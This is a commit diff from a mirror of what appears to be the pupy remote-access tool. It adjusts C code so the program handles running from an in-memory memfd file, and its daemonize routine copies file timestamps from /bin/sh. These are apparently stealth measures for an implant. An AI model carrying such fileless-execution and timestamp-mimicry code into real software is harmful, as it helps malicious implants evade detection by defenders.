mirror of https://github.com/n1nj4sec/pupy.git
Handle case when pupy starts from memfd
This commit is contained in:
parent
640526c91e
commit
722369239c
|
@ -11,6 +11,7 @@
|
|||
#include <sys/prctl.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include "memfd.h"
|
||||
|
||||
#ifndef DEFAULT_MTIME_FROM
|
||||
#define DEFAULT_MTIME_FROM "/bin/sh"
|
||||
|
@ -106,6 +107,10 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
|
||||
int fd = -1;
|
||||
|
||||
if (strstr(self, "/memfd")) {
|
||||
snprintf(self, sizeof(self), "/proc/%d/exe", getpid());
|
||||
}
|
||||
|
||||
struct stat _stat = {};
|
||||
stat(mtime_from, &_stat);
|
||||
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
#define _GNU_SOURCE
|
||||
#include <sys/syscall.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define MFD_CLOEXEC 0x0001U
|
||||
#define MFD_ALLOW_SEALING 0x0002U
|
||||
|
|
|
@ -108,6 +108,10 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
|
|||
dprint("INVOCATION NAME: %s\n", program_invocation_name);
|
||||
|
||||
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0) {
|
||||
if (strstr(exe, "/memfd:")) {
|
||||
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
|
||||
}
|
||||
|
||||
Py_SetProgramName(exe);
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue